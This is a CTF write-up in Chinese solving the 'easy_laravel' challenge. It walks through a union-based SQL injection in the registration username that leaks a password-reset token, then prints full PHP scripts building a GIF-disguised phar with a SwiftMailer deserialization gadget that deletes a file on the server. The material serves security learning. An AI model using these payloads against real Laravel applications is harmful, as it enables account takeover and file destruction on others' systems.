題目docker環境:
https://github.com/sco4x0/huwangbei2018_easy_laravel
git clone下來直接composer up -d 運行即可,可以把端口映射改為8080:80
使用 docker exec -it 容器name bash就可以交互式地進入容器進行操作
開始做題:
首先F12查看源碼發現源代碼路徑:
但是現在復現的時候已經關閉了,從github上題目源碼中直接把源碼拷過來吧。
遇到有composer.json的題目,首先composer install安裝一下相關的包依賴,這里首先需要本機已經安裝composer,沒有安裝的則:
http://www.runoob.com/w3cnote/composer-install-and-usage.html //composer的安裝步驟
安裝完以后按道理可以執行composer install進行安裝了,但是連接超時,此時我嘗試了掛上代理去執行試試,結合shadowsocks+proxychains
sslocal -c /etc/shadowsocks/config.json 2&>1
本地開啟ss客戶端,配置1080端口的socks5代理,然后執行
proxychains composer install
此時安裝成功包依賴,權限問題的話記得sudo一下
如果遇到問題:
Your requirements could not be resolved to an installable set of packages //執行下一條即可
composer install --ignore-platform-reqs
安裝完成后就可以看到vendor目錄了,
此時可以進行代碼審計了。
此時可以先使用php artisan route:list查看一下已經定義的路由
也可以在routers/web.php里面進行查看,這里面定義了web訪問的路由,其中admin中間件中定義email必須為admin@qvq.im,但是注冊的時候這個郵箱顯示已經被注冊過了,所以
而根據database的目錄中表名和字段名雖然能夠dump出來,但是在注冊時是經過bcrypt加密的,無法進行解密
database目錄中包含了應用初始時的一些數據庫相關信息,可以進行查看:
知道了郵箱,但是沒有密碼,但是有重置密碼的功能,而密碼重置需要用到token,因此嘗試注入把token從migrations目錄的password_reset定義的password_resets表中dump出來。
首先看看密碼重置的控制邏輯:
首先根據路由規則:
$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');
先找到對應的控制器文件:
而在此控制器文件中又使用了 use Illuminate\Foundation\Auth\ResetsPasswords;
而ResetsPasswords是一個trait,其不能實例化,定義它的目的是為了進行代碼復用,此時在這里方便在控制器類resetpassword中使用,又因為當訪問
password/reset/{token}時會觸發Auth\ResetPasswordController@showResetForm,顯示重置密碼的表單,那么我們需要去找到這個token從而去構造出這個重置密碼的鏈接,此時就可以利用之前的sql注入
去dump出來重置以后的token,然后來進行登陸
使用以下語句注冊作為用戶名:
admin' union select 1,(select token from password_resets limit 0,1),3,4,5#
可以得到重置用戶的token
此時可以拼接重置密碼的鏈接得到重置密碼頁面:
然后使用重置的密碼進行登陸:
可以看到有幾個功能,點擊flag,返回no flag
而路由中有Route::get('/flag', 'FlagController@showFlag')->name('flag');
此時將調用showflag
此時按道理應該直接返回flag,但是卻沒有正常返回
這里需要學習一下blade
Blade 是由 Laravel 提供的非常簡單但功能強大的模板引擎,不同於其他流行的 PHP 模板引擎,Blade 在視圖中並不約束你使用 PHP 原生代碼。
所有的 Blade 視圖最終都會被編譯成原生 PHP 代碼並緩存起來直到被修改,這意味着對應用的性能而言 Blade 基本上是零開銷。
Blade 視圖文件使用 .blade.php 文件擴展並存放在 resources/views 目錄下。
這是因為模板編譯后的文件沒有刪除而導致無法顯示flag,因此需要刪除編譯后的模板文件,所以需要知道編譯后的文件名:
編譯后文件的路徑由兩部分構成第一部分是模板的絕對路徑path,第二部分是是緩存路徑,又因為緩存路徑為/storage/framework/views/,
其中/usr/share/nginx/html/是nginx的默認web路徑,由提示的得到,path為/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值
即可以得到編譯后的文件的路徑:
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
此時需要刪除掉此文件,然后訪問flag,結合上傳功能中的反序列化:
在上傳中只檢查了后綴名是否在白名單之內,不對內容進行檢查,並且如果合法則存到app/public下面,並且在check中存在file_exists函數,並且path和filename都是可以控制的,因此可以phar反序列化
因此需要找到反序列化函數:
可以找到所有的含有__destruct的組件然后再在里面尋找是否含有unlink函數,這里采用Swift_ByteStream_TemporaryFileByteStream
的析構函數中存在unlink
方法
利用exp.php
<?php class Swift_ByteStream_AbstractFilterableInputStream { /** * Write sequence. */ protected $sequence = 0; /** * StreamFilters. * * @var Swift_StreamFilter[] */ private $filters = []; /** * A buffer for writing. */ private $writeBuffer = ''; /** * Bound streams. * * @var Swift_InputByteStream[] */ private $mirrors = []; } class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream { /** The internal pointer offset */ private $_offset = 0; /** The path to the file */ private $_path; /** The mode this file is opened in for writing */ private $_mode; /** A lazy-loaded resource handle for reading the file */ private $_reader; /** A lazy-loaded resource handle for writing the file */ private $_writer; /** If magic_quotes_runtime is on, this will be true */ private $_quotes = false; /** If stream is seekable true/false, or null if not known */ private $_seekable = null; /** * Create a new FileByteStream for $path. * * @param string $path * @param bool $writable if true */ public function __construct($path, $writable = false) { $this->_path = $path; $this->_mode = $writable ? 'w+b' : 'rb'; if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) { $this->_quotes = true; } } /** * Get the complete path to the file. * * @return string */ public function getPath() { return $this->_path; } } class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct() { $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php"; parent::__construct($filePath, true); } public function __destruct() { if (file_exists($this->getPath())) { @unlink($this->getPath()); } } } $obj = new Swift_ByteStream_TemporaryFileByteStream(); $p = new Phar('./1.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($obj); $p->addFromString('1.txt','text'); $p->stopBuffering(); rename('./1.phar', '1.gif'); ?>
在vendor下面有autoload.php文件,因此可以直接include此文件進行構造phar包,
采用exp
<?php include('autoload.php'); $a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); var_dump(unserialize($a)); var_dump($a); $a = preg_replace('/\/tmp\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); //將其換成要刪除的文件名 $a = str_replace('s:25', 's:90', $a); //修改對應的序列化數據長度 var_dump($a); $b = unserialize($a); $p = new Phar('./tr1ple.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('tr1ple.phar', 'tr1ple.gif') ?>
cli下面php.ini中的phar的read only要off,然后上傳gif.在file界面點check再更改path路徑就可以觸發反序列化,path這里要用到絕對路徑,並且存儲的目錄在storge/app/public下面